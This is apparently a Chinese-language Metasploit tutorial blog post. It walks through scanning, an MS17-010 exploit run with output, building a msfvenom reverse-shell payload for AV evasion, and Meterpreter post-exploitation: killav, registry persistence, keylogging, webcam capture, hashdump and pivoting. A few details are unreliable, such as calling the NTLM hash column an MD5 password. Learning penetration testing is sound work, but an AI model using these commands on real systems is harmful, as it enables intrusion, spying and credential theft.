Metasploit

MSF可以说是渗透测试领域最流行的渗透测试框架

Metasploit Framework 是一个开源的渗透测试平台,提供漏洞利用、信息收集、提权、后门等功能的模块集合。

架构模块

  • msfconsole:交互式命令控制台(最常用)
  • msfvenom:用于生成恶意 Payload(木马)的工具
  • meterpreter:高级 payload(后门shell)
  • msfdb:管理数据库的工具
  • modules:模块目录,包含exploit、payload、auxiliary等

分支模块

  • 辅 助 模 块 (Auxiliary,扫描器),扫描主机系统,寻找可用漏洞;
  • 渗透攻击模块 (Exploits),选择并配置一个漏洞利用模块;
  • 攻击载荷模块 (Payloads),选择并配置一个攻击载荷模块;
  • 后渗透攻击模块 (Post),用于内网渗透的各种操作;
  • 编 码 器 模 块 (Encoders),选择编码技术,绕过杀软(或其他免杀方式);

所有模块位置:/usr/share/metasploit-framework/modules/

文件结构

msf的主目录位于/usr/share/metasploit-framework/,下面是目录中的文件

config				  metasploit的环境配置信息,数据库配置信息
data			  	  后渗透模块的一些工具及payload,第三方小工具集合,用户字典等数据信息
db				  	  rails编译生成msf的web框架时的数据库信息
documentation	  用户说明文档及开发文档
external				metasploit的一些基础扩展模块
lib							metasploit的一些基础类和第三方模块类
log							msf运行时的一些系统信息和其他信息
modules 				metasploit的系统工具模块,包括预辅助模块(auxiliary),渗透模块(exploits),攻击荷载(payloads)和后渗透模块(posts),以及空字段模块(nops)和编码模块(Encoders)
msfbinscan 			对bin文件进行文件偏移地址扫描
msfcli 					metasploit命令行模式,可以快速调用有效的payload进行攻击,新版本的metasploit即将在2015年6月18日弃用
msfconsole			metasploit的基本命令行,集成了各种功能。
msfd 						metasploit服务,非持久性服务
msfelfscan 			对linux的elf文件偏移地址进行扫描
msfencode 			metasploit的编码模块,可以对mepayload和shellcode进行编码输出
msfpayload 			metasploit攻击荷载,用以调用不同的攻击荷载,生成和输出不同格式的shellocode,新版本用msfvenmon替代。
msfmachscan 		功能同msfelfscan
msfpescan 			对windows的pe格式文件偏移地址进行扫描
msfrop 					对windows的pe进行文件地址偏移操作,可以绕过alsr等
msfrpc 					metasploit的服务端,非持久性的rpc服务
msfrpcd 				持久性的metasploit本地服务,可以给远程用户提供rpc服务以及其他的http服务,可以通过xml进行数据传输。
msfupdate 			metasploit更新模块,可以用来更新metasploit模块
msfvenom 				集成了msfpayload和msfencode的功能,效率更高,即将替代msf payload和msfencode
plugins 				metasploit的第三方插件接口
scripts 				metasplit的常用后渗透模块,区别于data里的后渗透模块,不需要加post参数和绝对路径,可以直接运行
test 						metasploit的基本测试目录
tools 					额外的小工具和第三方脚本工具

msfdb

msf默认使用kali内置的PostgreSQL数据库,也可以修改成MySQL

PostgreSQL命令

systemctl status postgresql
普通用户模式下:sudo -u postgres psql postgres 直接进入PSQL命令行
\l 查看数据库列表\
c msf 切换数据库到msf
\d 查看当前数据库的所有表
\d users:查看users表的列
\q 退出
SQL语句:正常的CRUD操作

数据库管理命令

msfdb init        初始化数据库
msfdb reinit    重新初始化
msfdb delete    删除数据库
msfdb start        启动数据库
msfdb stop        停止数据库
msfdb status    查看数据库状态
db_connect msf:admin@127.0.0.1:3306/msf    前一个msf:用户名,admin:密码,后一个msf:数据库名称

数据库操作命令

db_connect            
db_disconnect
db_status         #查看数据库状态,有无连接
db_nmap           #后续可以用hosts命令来查询扫描出的主机
db_rebuild_cache  #建立模块文件的缓存,使search搜索速度更快        
db_remove
db_export         #导出备份信息
db_import         #导入备份信息,备份为xml文件

信息搜集模块

所利用的模块基本在auxiliary/scanner/目录中,包含扫描、fuzz测试、漏洞挖掘、网络协议欺骗等程序。

db_nmap

和nmap相同

ARP扫描

端口扫描

search portscanuse 
auxiliary/scanner/portscan/syn # 也可以用ack、tcp连接等方式
set INTERFACE/RHOSTS/THREADS/PORTS 
run                                # 扫描指定主机的指定端口

UDP扫描

use auxiliary/scanner/discovery/udp_sweep

SMB扫描

# 输入用户名和密码后的消息会更具体
use auxiliary/scanner/smb/smb_version      # SMB版本、系统版本扫描
use auxiliary/scanner/smb/pipe_auditor     # 扫描命名管道,判断SMB服务类型

ssh扫描

use auxiliary/acanner/ssh/ssh_version      # SSH版本、系统版本扫描
use auxiliary/acanner/ssh/ssh_login        # 爆破SSH密码**
set RHOSTS/USER_FILE/PASS_FILE             # 设置爆破的用户名和密码字典表,也可以单独设置密码文件    
run

数据库扫描

auxiliary/scanner/mssql/mssql_ping	#MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum	#MSSQL枚举
auxiliary/scanner/mysql/mysql_login	#MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum	#MySQL枚举

漏洞扫描

以ms17-010为例

search ms17-010   # 查找 auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/smb/smb_ms17_010    # 使用本扫描模块
show options      # 查看需要设置的选项,主要是rhosts (rhosts -> remote host, lhosts -> local host)
set rhosts 192.168.112.158    # 设置远程目标主机IP地址
run                  # 执行当前模块的功能

漏洞利用模块

语法:

use windows/meterpreter_reverse_http

-E   强制编码
-e   要使用的编码器模块的名称
-f   输出文件名(否则为stdout)
-t   输出格式: raw,ruby,rb,perl,pl,c,java,dll,exe,elf,vbs,asp,war等
-b   要避免的字符列表: '\x00\xff'

依旧ms17-010

search ms17-010
use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.112.158runmsf6 exploit(windows/smb/ms17_010_psexec) > 
run
[*] Started reverse TCP handler on 192.168.112.148:4444 
[*] 192.168.112.158:445 - Target OS: Windows Server 2003 3790 Service Pack 2
[*] 192.168.112.158:445 - Filling barrel with fish... done
[*] 192.168.112.158:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.112.158:445 -       [*] Preparing dynamite...
[*] 192.168.112.158:445 -               Trying stick 1 (x64)...Miss
[*] 192.168.112.158:445 -               [*] Trying stick 2 (x86)...Boom!
[*] 192.168.112.158:445 -       [+] Successfully Leaked Transaction!
[*] 192.168.112.158:445 -       [+] Successfully caught Fish-in-a-barrel
[*] 192.168.112.158:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.112.158:445 - Reading from CONNECTION struct at: 0x8757f010
[*] 192.168.112.158:445 - Built a write-what-where primitive...
[+] 192.168.112.158:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.112.158:445 - Selecting native target
[*] 192.168.112.158:445 - Uploading payload... aDBkWucb.exe
[*] 192.168.112.158:445 - Created \aDBkWucb.exe...[+] 192.168.112.158:445 - Service started successfully...
[*] Sending stage (175174 bytes) to 192.168.112.158
[*] 192.168.112.158:445 - Deleting \aDBkWucb.exe...
[*] Meterpreter session 5 opened (192.168.112.148:4444 -> 192.168.112.158:1029) at 2021-11-30 03:24:55 +0800

meterpreter >  # 进入meterpreter提示符,表示入侵成功

简单执行几个meterpreter命令

meterpreter > getpid
Current pid: 1236

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
Computer        : GOD-111
OS              : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture    : x86System Language : zh_CN
Domain          : WORKGROUPLogged On Users : 2
Meterpreter     : x86/windows

meterpreter > screenshot
Screenshot saved to: /home/denny/SmGGQrCx.jpeg

meterpreter > shell    # 直接进入Windows2003命令提示符

但是比起use windows/meterpreter_reverse_http,还是

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.1.1.15 LPORT=6666 -f elf > msf.elf

这个更好一点,可以拿着生成的shellcode去编码免杀

后渗透模块

run post/windows/gather/checkvm		#检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav		#关闭杀软
run post/windows/manage/enable_rdp	#开启目标远程桌面
run post/windows/gather/enum_logged_on_users	#列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications		#列举应用程序
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码

反弹shell

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp    #payload要和持久化所用模块的payload对应
msf5 exploit(multi/handler) > set LHOST 10.1.1.15
msf5 exploit(multi/handler) > set LPORT 6666
msf5 exploit(multi/handler) > run

Meterpreter

持久化

刚获得Meterpreter Shell时,该Shell是极其脆弱的,可以把它和目标机中一个稳定的程序绑定

getpid			#查看当前Meterpreter Shell的进程号
ps				#获取目标机正运行的进程
migrate 476		#将shell迁移到PID为786的进程中

Persistence模块

run persistence -h    #查看persistence模块帮助信息、参数。
-X    #在目标系统启动时运行后门。此选项将在 Windows 注册表中添加一个条目,
      #使后门在系统启动时自动执行。
-i    #连接尝试的时间间隔
-p    #lhost的监听端口
-r    #remote.监听者IP。
-S    #在目标系统上以系统权限(SYSTEM)运行后门。但是实战中应用此参数报错,原因未知。

#举例
run persistence -X -i 10 -p 12397 -r 192.168.34.132    
#若监听时一直报错,换个监听端口即可。
[*] Started reverse TCP handler on 10.100.130.180:4444 
[-] Command shell session 1 is not valid and will be closed 
[*] 10.100.131.192 - Command shell session 1 closed. 
[-] Command shell session 2 is not valid and will be closed 
[*] 10.100.131.192 - Command shell session 2 closed. 
[-] Command shell session 3 is not valid and will be closed 
[*] 10.100.131.192 - Command shell session 3 closed.

命令摘要

pwd、ls、cd

getsystem	#获得系统管理员权限(要本地管理员权限运行)
sysinfo		#查看系统信息
idletim     #查看目标系统已运行时间
route		#查看目标机完整网络设置
shell		#进入目标机shell,exit退出she
background	#将meterpreter隐藏在后台

upload ./1.txt c:\\1.txt		#上传文件
download c:\1.txt ./			#下载文件
search -f *.txt -d c://			#搜索文件

keyscan_start	#启动键盘记录
keyscan_stop	#停止键盘记录
keyscan_dump	#转储键盘记录的内容
screenshot		#抓取截屏
webcam_list		#摄像头列表
webcam_snap		#摄像头拍照
webcam_stream	#抓取视频

#Kali-Linux下登录远程桌面
sudo rdesktop -f 目标IP

route add IP 子网掩码    #添加路由,先background

Win密码

meterpreter > hashdump    #抓哈希密码,类型为NTLM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b9ae0589c85dd1deae5ecdc7e0d3e0e9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:b9ae0589c85dd1deae5ecdc7e0d3e0e9:::
jiayuan:1000:aad3b435b51404eeaad3b435b51404ee:e399f145335ed1bd481bf2f030b355ad:::

第3列是密码md5

网络穿透

拿到反向shell之后,获取目标网络信息

meterpreter > run get_local_subnets

使用autoroute模块添加路由

meterpreter > run autoroute -s 10.0.0.0/255.0.0.0
meterpreter > run autoroute -p		#列出添加了路由规则的存活session

添加完成后返回上一层,这里一定要保证添加了路由规则的sessions的存活,如果sessions掉了对应的路由规则也就失效了

添加完成后可以考虑使用ms17_010的扫描脚本进行目标内网的扫描

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值